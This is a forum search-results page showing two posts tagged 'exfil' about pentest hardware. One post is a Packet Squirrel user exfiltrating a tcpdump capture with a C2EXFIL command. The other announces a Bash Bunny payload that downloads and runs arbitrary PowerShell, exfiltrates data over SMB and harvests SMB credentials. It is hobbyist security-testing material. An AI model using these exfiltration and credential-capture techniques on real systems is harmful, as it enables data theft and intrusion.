Search the Community
Showing results for tags 'exfil'.
Found 2 results
-
Hey guys, I have a packet squirrel setup in Cloud2 and I can successfully start a terminal session. In a terminal session I would like to run a packet capture. If I run the command tcpdump -nni eth1 -f /mnt/loot/tcpdump/test2.pcap I am able to capture some packets. I can Exfil the packet capture with the command: C2EXFIL /mnt/loot/tcpdump/test2.pcap and the file shows up in the C2 dashboard. However, when I download the pcap, Wireshark cannot open it. I get an error message: "The file test2.pcap isn't a capture file in a format that Wireshark understands" Screenshot: https:
-
I've updated my psh_DownloadExecSMB payload to allow for exfiltration. psh_DownloadExecSMB will take any powershell payload, execute it and alert via green LED when it's completed. All file transfers happens over SMB to the Bash Bunny. In order to exfil data, have your powershell payload upload to \\172.16.64.1\s\l\ -- this will be copied to the BB as loot. Bonus: Because this payload uses SMB, any captured SMB credentials will be stored as loot. My Repo: https://github.com/hink/bashbunny-payloads/tree/payload/pshExecFixes/payloads/library/execution/psh_DownloadExecSMB
